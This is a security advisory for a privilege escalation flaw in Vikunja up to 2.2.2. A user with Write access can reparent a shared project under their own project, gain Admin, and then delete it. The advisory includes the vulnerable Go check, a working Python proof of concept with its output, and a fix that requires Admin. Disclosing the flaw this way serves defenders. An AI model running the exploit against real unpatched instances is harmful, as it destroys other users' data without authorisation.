Vikunja vulnerable to Privilege Escalation via Project Reparenting

Description

Summary

A user with Write-level access to a project can escalate their permissions to Admin by moving the project under a project they own. After reparenting, the recursive permission CTE resolves ownership of the new parent as Admin on the moved project. The attacker can then delete the project, manage shares, and remove other users' access.

Details

The CanUpdate check at pkg/models/project_permissions.go:139-148 only requires CanWrite on the new parent project when changing parent_project_id. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain.

When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project.

if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
    newProject := &Project{ID: p.ParentProjectID}
    can, err := newProject.CanWrite(s, a)  // Only checks Write, not Admin
    if err != nil {
        return false, err
    }
    if !can {
        return false, ErrGenericForbidden{}
    }
}

Proof of Concept

Tested on Vikunja v2.2.2.

1. victim creates "Parent Project" (id=3)
2. victim creates "Secret Child" (id=4) under Parent Project
3. victim shares Parent Project with attacker at Write level (permission=1)
   -> attacker inherits Write on Secret Child (no direct share)
4. attacker creates own "Attacker Root" project (id=5)
5. attacker verifies: DELETE /api/v1/projects/4 -> 403 Forbidden
6. attacker sends: POST /api/v1/projects/4 {"title":"Secret Child","parent_project_id":5}
   -> 200 OK (reparenting succeeds, only requires Write)
7. attacker sends: DELETE /api/v1/projects/4 -> 200 OK
   -> Project deleted. victim gets 404.
import requests                                                                                                                                                                                                                                                                                                    

TARGET = "http://localhost:3456"                                                                                                                                                                                                                                                                                 
API = f"{TARGET}/api/v1"  

def login(u, p):                     
    return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]

def h(token):  
    return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

victim_token = login("victim", "Victim123!")
attacker_token = login("attacker", "Attacker123!")                                                                                                                                                                                                                                                                 

# victim creates parent -> child project hierarchy                                                                                                                                                                                                                                                               
parent = requests.put(f"{API}/projects", headers=h(victim_token),
                    json={"title": "Parent Project"}).json()
child = requests.put(f"{API}/projects", headers=h(victim_token),
                    json={"title": "Secret Child", "parent_project_id": parent["id"]}).json()

# victim shares parent with attacker at Write (attacker inherits Write on child)
requests.put(f"{API}/projects/{parent['id']}/users", headers=h(victim_token),
            json={"username": "attacker", "permission": 1})

# attacker creates own root project
own = requests.put(f"{API}/projects", headers=h(attacker_token),
                    json={"title": "Attacker Root"}).json()

# before: attacker cannot delete child
r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attacker_token))
print(f"DELETE before reparent: {r.status_code}")  # 403

# exploit: reparent child under attacker's project
r = requests.post(f"{API}/projects/{child['id']}", headers=h(attacker_token),
                json={"title": "Secret Child", "parent_project_id": own["id"]})
print(f"Reparent: {r.status_code}")  # 200

# after: attacker can now delete child
r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attacker_token))
print(f"DELETE after reparent: {r.status_code}")  # 200 - escalated to Admin

# victim lost access
r = requests.get(f"{API}/projects/{child['id']}", headers=h(victim_token))
print(f"Victim access: {r.status_code}")  # 404 - project gone

Output:

DELETE before reparent: 403
Reparent: 200
DELETE after reparent: 200
Victim access: 404

The attacker escalated from inherited Write to Admin by reparenting, then deleted the victim's project.

Impact

Any user with Write permission on a shared project can escalate to full Admin by moving the project under their own project tree via a single API call. After escalation, the attacker can delete the project (destroying all tasks, attachments, and history), remove other users' access, and manage sharing settings. This affects any project where Write access has been shared with collaborators.

Recommended Fix

Require Admin permission instead of Write when changing parent_project_id:

if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
    newProject := &Project{ID: p.ParentProjectID}
    can, err := newProject.IsAdmin(s, a)
    if err != nil {
        return false, err
    }
    if !can {
        return false, ErrGenericForbidden{}
    }
    canAdmin, err := p.IsAdmin(s, a)
    if err != nil {
        return false, err
    }
    if !canAdmin {
        return false, ErrGenericForbidden{}
    }
}

Found and reported by aisafe.io

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-04-10 15:33:50 UTC
Updated
2026-04-10 19:36:16 UTC
GitHub reviewed
2026-04-10 15:33:50 UTC
NVD published
2026-04-10

EPSS Score

Score Percentile
0.03% 10.33%

CVSS Scores

Base score Version Severity Vector
8.3 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:L)
A normal user session is enough; they don’t have to be admin.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:H)
Serious risk that confidential data gets exposed in a big way.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:L)
Might cause slowdowns, glitches, or partial disruption—not a full brick.

Identifiers

CWEs

CWE id Name
CWE-269 Improper Privilege Management

Credits

  • adrgs (reporter)
  • aisafe-bot (finder)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
go code.vikunja.io/api <= 2.2.2 2.3.0

References

cvelogic Threat Intelligence